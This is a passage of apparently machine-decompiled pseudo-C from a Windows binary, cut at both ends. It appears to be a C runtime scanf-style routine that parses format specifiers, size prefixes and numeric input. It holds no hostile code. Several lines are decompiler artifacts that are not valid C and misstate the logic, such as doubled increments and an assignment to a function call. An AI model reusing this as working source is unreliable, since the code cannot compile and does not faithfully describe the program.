																	_t1119 =  *(_t1200 + 0xc) + 1;
																	__eflags = _t1119;
																	 *(_t1200 + 0xc) = _t1119;
																}
															}
															 *(_t1200 - 0xc) =  *(_t1200 - 0xc) + 1;
															_t851 = E00426CD0( *(_t1200 + 8),  *(_t1200 + 8));
															_t1207 = _t1204 + 4;
															 *(_t1200 - 0x21c) = _t851;
															 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
															__eflags = ( *( *(_t1200 + 0xc)) & 0x000000ff) -  *(_t1200 - 0x21c);
															if(( *( *(_t1200 + 0xc)) & 0x000000ff) ==  *(_t1200 - 0x21c)) {
																L325:
																_t854 = E0042F0A0( *(_t1200 - 0x21c) & 0x000000ff);
																_t1204 = _t1207 + 4;
																__eflags = _t854;
																if(_t854 == 0) {
																	do {
																		L329:
																		__eflags =  *(_t1200 - 0x21c) - 0xffffffff;
																		if( *(_t1200 - 0x21c) != 0xffffffff) {
																			goto L333;
																		}
																		goto L330;
																	} while (_t854 == 0);
																}
																L326:
																 *(_t1200 - 0xc) =  *(_t1200 - 0xc) + 1;
																_t856 = E00426CD0( *(_t1200 - 0xc) + 1,  *(_t1200 + 8));
																_t1204 = _t1204 + 4;
																 *((intOrPtr*)(_t1200 - 0x23c)) = _t856;
																 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
																__eflags = ( *( *(_t1200 + 0xc)) & 0x000000ff) -  *((intOrPtr*)(_t1200 - 0x23c));
																if(( *( *(_t1200 + 0xc)) & 0x000000ff) ==  *((intOrPtr*)(_t1200 - 0x23c))) {
																	L328:
																	_t1007 =  *(_t1200 - 0xc) - 1;
																	__eflags = _t1007;
																	 *(_t1200 - 0xc) = _t1007;
																	goto L329;
																}
																L327:
																 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
																E00426D30( *((intOrPtr*)(_t1200 - 0x23c)),  *(_t1200 + 8));
																 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
																_t1106 =  *(_t1200 + 8);
																E00426D30( *(_t1200 - 0x21c),  *(_t1200 + 8));
																_t1204 = _t1204 + 0x10;
															} else {
																L324:
																 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
																_t1106 =  *(_t1200 - 0x21c);
																E00426D30( *(_t1200 - 0x21c),  *(_t1200 + 8));
																_t1204 = _t1207 + 8;
															}
															goto L334;
														}
														L7:
														_t1014 =  *(_t1200 + 0xc);
														__eflags = ( *(_t1014 + 1) & 0x000000ff) - 0x25;
														if(( *(_t1014 + 1) & 0x000000ff) == 0x25) {
															goto L320;
														} else {
															 *(_t1200 - 0x220) = 0;
															 *(_t1200 - 0x7d) = 0;
															 *(_t1200 - 0x1f4) = 0;
															 *(_t1200 - 0x1f0) =  *(_t1200 - 0x1f4);
															 *(_t1200 - 0x78) =  *(_t1200 - 0x1f0);
															 *(_t1200 - 0x18) = 0;
															 *(_t1200 - 0x34) =  *(_t1200 - 0x18);
															 *(_t1200 - 0x40) = 0;
															 *(_t1200 - 3) = 0;
															 *((char*)(_t1200 - 2)) =  *(_t1200 - 3);
															 *((char*)(_t1200 - 0x12)) =  *((intOrPtr*)(_t1200 - 2));
															 *(_t1200 - 0x1e) =  *((intOrPtr*)(_t1200 - 0x12));
															 *(_t1200 - 0x29) =  *(_t1200 - 0x1e);
															 *(_t1200 - 0x215) = 0;
															 *((char*)(_t1200 - 0x1d)) = 1;
															 *(_t1200 - 0x30) = 0;
															while(1) {
																L9:
																__eflags =  *(_t1200 - 0x1e);
																if( *(_t1200 - 0x1e) != 0) {
																	break;
																}
																L10:
																 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
																 *(_t1200 - 0x44) =  *( *(_t1200 + 0xc)) & 0x000000ff;
																_t898 = E00432740(_t982, _t1198, _t1199,  *(_t1200 - 0x44) & 0x000000ff);
																_t1204 = _t1204 + 4;
																__eflags = _t898;
																if(_t898 == 0) {
																	L12:
																	 *(_t1200 - 0x25c) =  *(_t1200 - 0x44);
																	 *(_t1200 - 0x25c) =  *(_t1200 - 0x25c) - 0x2a;
																	__eflags =  *(_t1200 - 0x25c) - 0x4d;
																	if( *(_t1200 - 0x25c) > 0x4d) {
																		L39:
																		_t901 =  *(_t1200 - 0x1e) + 1;
																		__eflags = _t901;
																		 *(_t1200 - 0x1e) = _t901;
																		goto L40;
																	}
																	L13:
																	_t63 =  *(_t1200 - 0x25c) + 0x426af8; // 0x1eff8b06
																	switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00426AD8))) {
																		case 0:
																			L38:
																			 *((intOrPtr*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																			 *((char*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																			goto L40;
																		case 1:
																			L14:
																			goto L40;
																		case 2:
																			L16:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *(__eax + 1) & 0x000000ff;
																			__eflags = ( *(__eax + 1) & 0x000000ff) - 0x36;
																			if(( *(__eax + 1) & 0x000000ff) != 0x36) {
																				L19:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																				__eflags = __ecx - 0x33;
																				if(__ecx != 0x33) {
																					L22:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *(__edx + 1) & 0x000000ff;
																					__eflags = ( *(__edx + 1) & 0x000000ff) - 0x64;
																					if(( *(__edx + 1) & 0x000000ff) == 0x64) {
																						L27:
																						__eax = 0;
																						__eflags = 0;
																						if(0 != 0) {
																							__ecx =  *(__ebp - 0x30);
																							__ecx =  *(__ebp - 0x30) + 1;
																							__eflags = __ecx;
																							 *(__ebp - 0x30) = __ecx;
																							 *(__ebp - 0x200) = 0;
																							 *(__ebp - 0x1fc) = 0;
																						}
																						L29:
																						goto L40;
																					}
																					L23:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *(__ecx + 1) & 0x000000ff;
																					__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x69;
																					if(( *(__ecx + 1) & 0x000000ff) == 0x69) {
																						goto L27;
																					}
																					L24:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L27;
																					}
																					L25:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *(__edx + 1) & 0x000000ff;
																					__eflags = ( *(__edx + 1) & 0x000000ff) - 0x78;
																					if(( *(__edx + 1) & 0x000000ff) == 0x78) {
																						goto L27;
																					}
																					L26:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *(__ecx + 1) & 0x000000ff;
																					__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x58;
																					if(( *(__ecx + 1) & 0x000000ff) != 0x58) {
																						__edx = 0;
																						__eflags = 0;
																						if(0 != 0) {
																							__eax =  *(__ebp - 0x30);
																							__eax =  *(__ebp - 0x30) + 1;
																							__eflags = __eax;
																							 *(__ebp - 0x30) = __eax;
																							 *(__ebp - 0x200) = 0;
																							 *(__ebp - 0x1fc) = 0;
																						}
																						goto L39;
																					}
																					goto L27;
																				}
																				L20:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 2) & 0x000000ff;
																				__eflags = ( *(__edx + 2) & 0x000000ff) - 0x32;
																				if(( *(__edx + 2) & 0x000000ff) != 0x32) {
																					goto L22;
																				} else {
																					__ecx =  *(__ebp + 0xc);
																					__ecx =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) = __ecx;
																					goto L40;
																				}
																			}
																			L17:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *(__edx + 2) & 0x000000ff;
																			__eflags = ( *(__edx + 2) & 0x000000ff) - 0x34;
																			if(( *(__edx + 2) & 0x000000ff) != 0x34) {
																				goto L19;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																				 *(__ebp - 0x200) = 0;
																				 *(__ebp - 0x1fc) = 0;
																				goto L40;
																			}
																		case 3:
																			L33:
																			 *(__ebp - 0x1d) =  *(__ebp - 0x1d) + 1;
																			 *(__ebp - 0x1d) =  *(__ebp - 0x1d) + 1;
																			goto L40;
																		case 4:
																			L15:
																			 *(__ebp - 0x1d) =  *(__ebp - 0x1d) - 1;
																			 *(__ebp - 0x1d) =  *(__ebp - 0x1d) - 1;
																			 *((intOrPtr*)(__ebp - 0x215)) =  *((intOrPtr*)(__ebp - 0x215)) - 1;
																			 *((char*)(__ebp - 0x215)) =  *((intOrPtr*)(__ebp - 0x215)) - 1;
																			goto L40;
																		case 5:
																			L34:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *(__edx + 1) & 0x000000ff;
																			__eflags = ( *(__edx + 1) & 0x000000ff) - 0x6c;
																			if(( *(__edx + 1) & 0x000000ff) != 0x6c) {
																				__al =  *(__ebp - 0x1d);
																				__al =  *(__ebp - 0x1d) + 1;
																				__eflags = __al;
																				 *(__ebp - 0x1d) = __al;
																				goto L37;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																				 *(__ebp - 0x200) = 0;
																				 *(__ebp - 0x1fc) = 0;
																				goto L40;
																			}
																		case 6:
																			L37:
																			 *((intOrPtr*)(__ebp - 0x215)) =  *((intOrPtr*)(__ebp - 0x215)) + 1;
																			 *((char*)(__ebp - 0x215)) =  *((intOrPtr*)(__ebp - 0x215)) + 1;
																			goto L40;
																		case 7:
																			goto L39;
																	}
																} else {
																	 *(_t1200 - 0x1f0) =  *(_t1200 - 0x1f0) + 1;
																	 *(_t1200 - 0x78) =  *(_t1200 - 0x44) + ( *(_t1200 - 0x78) +  *(_t1200 - 0x78) * 4) * 2 - 0x30;
																	L40:
																	continue;
																}
															}
															L41:
															__eflags =  *((char*)(_t1200 - 0x12));
															if( *((char*)(_t1200 - 0x12)) != 0) {
																 *(_t1200 - 0x7c) = 0;
															} else {
																 *((intOrPtr*)(_t1200 - 0x1c)) =  *((intOrPtr*)(_t1200 + 0x14));
																 *((intOrPtr*)(_t1200 + 0x14)) =  *((intOrPtr*)(_t1200 + 0x14)) + 4;
																 *(_t1200 - 0x7c) =  *( *((intOrPtr*)(_t1200 + 0x14)) - 4);
															}
															 *(_t1200 - 0x1e) = 0;
															__eflags =  *(_t1200 - 0x215);
															if( *(_t1200 - 0x215) != 0) {
																L49:
																_t1019 =  *(_t1200 + 0xc);
																_t1106 =  *( *(_t1200 + 0xc)) & 0x000000ff | 0x00000020;
																 *(_t1200 - 0x44) =  *( *(_t1200 + 0xc)) & 0x000000ff | 0x00000020;
																__eflags =  *(_t1200 - 0x44) - 0x6e;
																if( *(_t1200 - 0x44) == 0x6e) {
																	L54:
																	__eflags =  *(_t1200 - 0x44) - 0x6e;
																	if( *(_t1200 - 0x44) == 0x6e) {
																		L57:
																		__eflags =  *(_t1200 - 0x1f0);
																		if( *(_t1200 - 0x1f0) == 0) {
																			L59:
																			__eflags =  *((char*)(_t1200 - 0x12));
																			if( *((char*)(_t1200 - 0x12)) != 0) {
																				L68:
																				 *(_t1200 - 0x260) =  *(_t1200 - 0x44);
																				 *(_t1200 - 0x260) =  *(_t1200 - 0x260) - 0x63;
																				__eflags =  *(_t1200 - 0x260) - 0x18;
																				if( *(_t1200 - 0x260) > 0x18) {
																					L312:
																					__eflags = ( *( *(_t1200 + 0xc)) & 0x000000ff) -  *(_t1200 - 0x21c);
																					if(( *( *(_t1200 + 0xc)) & 0x000000ff) ==  *(_t1200 - 0x21c)) {
																						L314:
																						_t1125 =  *(_t1200 - 0x1e9) - 1;
																						__eflags = _t1125;
																						 *(_t1200 - 0x1e9) = _t1125;
																						__eflags =  *((char*)(_t1200 - 0x12));
																						if( *((char*)(_t1200 - 0x12)) == 0) {
																							 *((intOrPtr*)(_t1200 + 0x14)) =  *((intOrPtr*)(_t1200 - 0x1c));
																						}
																						while(1) {
																							L317:
																							 *(_t1200 - 0x1e9) =  *(_t1200 - 0x1e9) + 1;
																							 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
																							goto L329;
																						}
																					}
																					L313:
																					_t1106 =  *(_t1200 - 0xc) - 1;
																					 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
																					E00426D30( *(_t1200 - 0x21c),  *(_t1200 + 8));
																					_t1204 = _t1204 + 8;
																					 *(_t1200 - 0x24) = 1;
																					goto L334;
																				}
																				L69:
																				_t185 =  *(_t1200 - 0x260) + 0x426b70; // 0xcccccc08
																				switch( *((intOrPtr*)(( *_t185 & 0x000000ff) * 4 +  &M00426B48))) {
																					case 0:
																						L70:
																						__eflags =  *(_t1200 - 0x1f0);
																						if( *(_t1200 - 0x1f0) == 0) {
																							 *(_t1200 - 0x1f0) =  *(_t1200 - 0x1f0) + 1;
																							_t1129 =  *(_t1200 - 0x78) + 1;
																							__eflags = _t1129;
																							 *(_t1200 - 0x78) = _t1129;
																						}
																						L72:
																						__eflags =  *(_t1200 - 0x215);
																						if( *(_t1200 - 0x215) > 0) {
																							_t1027 =  *(_t1200 - 0x29) + 1;
																							__eflags = _t1027;
																							 *(_t1200 - 0x29) = _t1027;
																						}
																						L74:
																						L102:
																						 *(_t1200 - 0x48) =  *(_t1200 - 0x7c);
																						_t987 =  *(_t1200 - 0xc) - 1;
																						 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
																						E00426D30( *(_t1200 - 0x21c),  *(_t1200 + 8));
																						_t1204 = _t1203 + 8;
																						__eflags =  *(_t1200 - 0x44) - 0x63;
																						if( *(_t1200 - 0x44) != 0x63) {
																							_t987 =  *(_t1200 - 0x18) - 1;
																							__eflags = _t987;
																							 *(_t1200 - 0x18) = _t987;
																						}
																						goto L104;
																					case 1:
																						L190:
																						__eflags =  *(__ebp - 0x21c) - 0x2d;
																						if( *(__ebp - 0x21c) != 0x2d) {
																							L192:
																							__eflags =  *(__ebp - 0x21c) - 0x2b;
																							if( *(__ebp - 0x21c) != 0x2b) {
																								goto L197;
																							}
																							L193:
																							__ecx =  *(__ebp - 0x78);
																							__ecx =  *(__ebp - 0x78) - 1;
																							__eflags = __ecx;
																							 *(__ebp - 0x78) = __ecx;
																							if(__ecx != 0) {
																								L196:
																								__eax =  *(__ebp - 0xc);
																								__eax =  *(__ebp - 0xc) + 1;
																								__eflags = __eax;
																								 *(__ebp - 0xc) = __eax;
																								__ecx =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E00426CD0(__ecx, __ecx);
																								goto L197;
																							}
																							L194:
																							__eflags =  *(__ebp - 0x1f0);
																							if( *(__ebp - 0x1f0) == 0) {
																								goto L196;
																							}
																							L195:
																							 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																							 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																							goto L197;
																						}
																						L191:
																						 *((intOrPtr*)(__ebp - 2)) =  *((intOrPtr*)(__ebp - 2)) + 1;
																						 *((char*)(__ebp - 2)) =  *((intOrPtr*)(__ebp - 2)) + 1;
																						goto L193;
																					case 2:
																						L267:
																						 *(__ebp - 0x10) = 0;
																						__eflags =  *(__ebp - 0x21c) - 0x2d;
																						if( *(__ebp - 0x21c) != 0x2d) {
																							L269:
																							__eflags =  *(__ebp - 0x21c) - 0x2b;
																							if( *(__ebp - 0x21c) != 0x2b) {
																								L271:
																								__eflags =  *(__ebp - 0x1f0);
																								if( *(__ebp - 0x1f0) == 0) {
																									 *(__ebp - 0x78) = 0xffffffff;
																								}
																								while(1) {
																									L273:
																									__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																									__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																									__eflags = __eax;
																									if(__eax == 0) {
																										break;
																									}
																									L274:
																									__edx =  *(__ebp - 0x78);
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									__eflags =  *(__ebp - 0x78);
																									if( *(__ebp - 0x78) == 0) {
																										break;
																									}
																									L275:
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																									__al =  *(__ebp - 0x21c);
																									 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									__edx = __ebp - 0x28;
																									__eax = __ebp - 0x1e8;
																									__ecx = __ebp - 0x84;
																									__edx = __ebp - 0x204;
																									__eax =  *(__ebp - 0x10);
																									__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																									__eflags = __eax;
																									if(__eax != 0) {
																										L277:
																										__ecx =  *(__ebp - 0xc);
																										__ecx =  *(__ebp - 0xc) + 1;
																										 *(__ebp - 0xc) = __ecx;
																										__edx =  *(__ebp + 8);
																										 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																										continue;
																									}
																									L276:
																									goto L334;
																								}
																								L278:
																								__eax = __ebp - 0x214;
																								__eax = E00425070(__ebp - 0x214);
																								__ecx =  *__eax;
																								__dl =  *( *__eax);
																								 *((char*)(__ebp - 1)) =  *( *__eax);
																								__eax =  *((char*)(__ebp - 1));
																								__ecx =  *(__ebp - 0x21c);
																								__eflags =  *((char*)(__ebp - 1)) -  *(__ebp - 0x21c);
																								if( *((char*)(__ebp - 1)) !=  *(__ebp - 0x21c)) {
																									L287:
																									__eflags =  *(__ebp - 0x1f4);
																									if( *(__ebp - 0x1f4) == 0) {
																										L306:
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																										__eax =  *(__ebp + 8);
																										__ecx =  *(__ebp - 0x21c);
																										__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																										__eflags =  *(__ebp - 0x1f4);
																										if( *(__ebp - 0x1f4) == 0) {
																											L310:
																											goto L334;
																										}
																										L307:
																										__edx =  *((char*)(__ebp - 0x12));
																										__eflags =  *((char*)(__ebp - 0x12));
																										if( *((char*)(__ebp - 0x12)) == 0) {
																											 *(__ebp - 8) =  *(__ebp - 8) + 1;
																											 *(__ebp - 8) =  *(__ebp - 8) + 1;
																											 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																											 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0;
																											__ecx = __ebp - 0x214;
																											_push(E0041EA40(__ebp - 0x214));
																											__edx =  *(__ebp - 0x84);
																											_push( *(__ebp - 0x84));
																											__eax =  *(__ebp - 0x7c);
																											_push( *(__ebp - 0x7c));
																											__ecx =  *(__ebp - 0x1d);
																											__ecx =  *(__ebp - 0x1d) - 1;
																											__eflags = __ecx;
																											_push(__ecx);
																											__edx =  *0x43de8c; // 0xfb3c7abe
																											E00427990(__edx) =  *__eax();
																											__esp = __esp + 0x10;
																										}
																										L317:
																										 *(_t1200 - 0x1e9) =  *(_t1200 - 0x1e9) + 1;
																										 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
																										goto L329;
																									}
																									L288:
																									__eflags =  *(__ebp - 0x21c) - 0x65;
																									if( *(__ebp - 0x21c) == 0x65) {
																										L290:
																										__ecx =  *(__ebp - 0x78);
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										__eflags =  *(__ebp - 0x78);
																										if( *(__ebp - 0x78) == 0) {
																											goto L306;
																										}
																										L291:
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x65;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										__edx = __ebp - 0x28;
																										__eax = __ebp - 0x1e8;
																										__ecx = __ebp - 0x84;
																										__edx = __ebp - 0x204;
																										__eax =  *(__ebp - 0x10);
																										__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																										__eflags = __eax;
																										if(__eax != 0) {
																											L293:
																											__ecx =  *(__ebp - 0xc);
																											__ecx =  *(__ebp - 0xc) + 1;
																											 *(__ebp - 0xc) = __ecx;
																											__edx =  *(__ebp + 8);
																											 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																											__eflags =  *(__ebp - 0x21c) - 0x2d;
																											if( *(__ebp - 0x21c) != 0x2d) {
																												L297:
																												__eflags =  *(__ebp - 0x21c) - 0x2b;
																												if( *(__ebp - 0x21c) != 0x2b) {
																													while(1) {
																														L301:
																														__eax =  *(__ebp - 0x21c) & 0x000000ff;
																														__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																														__eflags = __eax;
																														if(__eax == 0) {
																															goto L306;
																														}
																														L302:
																														__ecx =  *(__ebp - 0x78);
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																														__eflags =  *(__ebp - 0x78);
																														if( *(__ebp - 0x78) == 0) {
																															goto L306;
																														}
																														L303:
																														 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																														 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																														 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																														__dl =  *(__ebp - 0x21c);
																														 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																														 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																														 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																														__ecx = __ebp - 0x28;
																														__edx = __ebp - 0x1e8;
																														__eax = __ebp - 0x84;
																														__ecx = __ebp - 0x204;
																														__edx =  *(__ebp - 0x10);
																														__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ecx, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																														__eflags = __eax;
																														if(__eax != 0) {
																															L305:
																															 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																															 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																															__ecx =  *(__ebp + 8);
																															 *(__ebp - 0x21c) = E00426CD0( *(__ebp + 8),  *(__ebp + 8));
																															continue;
																														}
																														L304:
																														goto L334;
																													}
																													goto L306;
																												}
																												L298:
																												__ecx =  *(__ebp - 0x78);
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																												__eflags =  *(__ebp - 0x78);
																												if( *(__ebp - 0x78) != 0) {
																													__ecx =  *(__ebp - 0xc);
																													__ecx =  *(__ebp - 0xc) + 1;
																													__eflags = __ecx;
																													 *(__ebp - 0xc) = __ecx;
																													__edx =  *(__ebp + 8);
																													 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																												} else {
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																												}
																												goto L301;
																											}
																											L294:
																											 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																											 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											__edx = __ebp - 0x28;
																											__eax = __ebp - 0x1e8;
																											__ecx = __ebp - 0x84;
																											__edx = __ebp - 0x204;
																											__eax =  *(__ebp - 0x10);
																											__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																											__eflags = __eax;
																											if(__eax != 0) {
																												L296:
																												goto L298;
																											}
																											L295:
																											goto L334;
																										}
																										L292:
																										goto L334;
																									}
																									L289:
																									__eflags =  *(__ebp - 0x21c) - 0x45;
																									if( *(__ebp - 0x21c) != 0x45) {
																										goto L306;
																									}
																									goto L290;
																								}
																								L279:
																								__edx =  *(__ebp - 0x78);
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								__eflags =  *(__ebp - 0x78);
																								if( *(__ebp - 0x78) == 0) {
																									goto L287;
																								}
																								L280:
																								__ecx =  *(__ebp - 0xc);
																								__ecx =  *(__ebp - 0xc) + 1;
																								 *(__ebp - 0xc) = __ecx;
																								__edx =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																								 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																								__cl =  *((intOrPtr*)(__ebp - 1));
																								 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *((intOrPtr*)(__ebp - 1));
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																								__eax = __ebp - 0x28;
																								__ecx = __ebp - 0x1e8;
																								__edx = __ebp - 0x84;
																								__eax = __ebp - 0x204;
																								__ecx =  *(__ebp - 0x10);
																								__eax = E00426B90(__ebx, __ecx, __edi, __esi, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																								__eflags = __eax;
																								if(__eax != 0) {
																									while(1) {
																										L282:
																										__edx =  *(__ebp - 0x21c) & 0x000000ff;
																										__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																										__eflags = __eax;
																										if(__eax == 0) {
																											goto L287;
																										}
																										L283:
																										__eax =  *(__ebp - 0x78);
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										__eflags =  *(__ebp - 0x78);
																										if( *(__ebp - 0x78) == 0) {
																											goto L287;
																										}
																										L284:
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										__cl =  *(__ebp - 0x21c);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										__eax = __ebp - 0x28;
																										__ecx = __ebp - 0x1e8;
																										__edx = __ebp - 0x84;
																										__eax = __ebp - 0x204;
																										__ecx =  *(__ebp - 0x10);
																										__eax = E00426B90(__ebx, __ecx, __edi, __esi, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																										__eflags = __eax;
																										if(__eax != 0) {
																											L286:
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																											__eax =  *(__ebp + 8);
																											 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																											continue;
																										}
																										L285:
																										goto L334;
																									}
																									goto L287;
																								}
																								L281:
																								goto L334;
																							}
																							L270:
																							__ecx =  *(__ebp - 0x78);
																							__ecx =  *(__ebp - 0x78) - 1;
																							 *(__ebp - 0x78) = __ecx;
																							__edx =  *(__ebp - 0xc);
																							__edx =  *(__ebp - 0xc) + 1;
																							__eflags = __edx;
																							 *(__ebp - 0xc) = __edx;
																							__eax =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																							goto L271;
																						}
																						L268:
																						 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																						 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																						goto L270;
																					case 3:
																						L167:
																						 *((intOrPtr*)(__ebp - 0x44)) = 0x64;
																						goto L168;
																					case 4:
																						L264:
																						__eax =  *(__ebp - 0xc);
																						 *(__ebp - 0x220) =  *(__ebp - 0xc);
																						__ecx =  *((char*)(__ebp - 0x12));
																						__eflags = __ecx;
																						if(__ecx != 0) {
																							L266:
																							while(1) {
																								L317:
																								 *(_t1200 - 0x1e9) =  *(_t1200 - 0x1e9) + 1;
																								 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
																								goto L329;
																							}
																						}
																						L265:
																						goto L256;
																					case 5:
																						L189:
																						 *(__ebp - 0x1d) = 1;
																						goto L190;
																					case 6:
																						L75:
																						__edx =  *((char*)(__ebp - 0x215));
																						__eflags =  *((char*)(__ebp - 0x215));
																						if( *((char*)(__ebp - 0x215)) > 0) {
																							__al =  *(__ebp - 0x29);
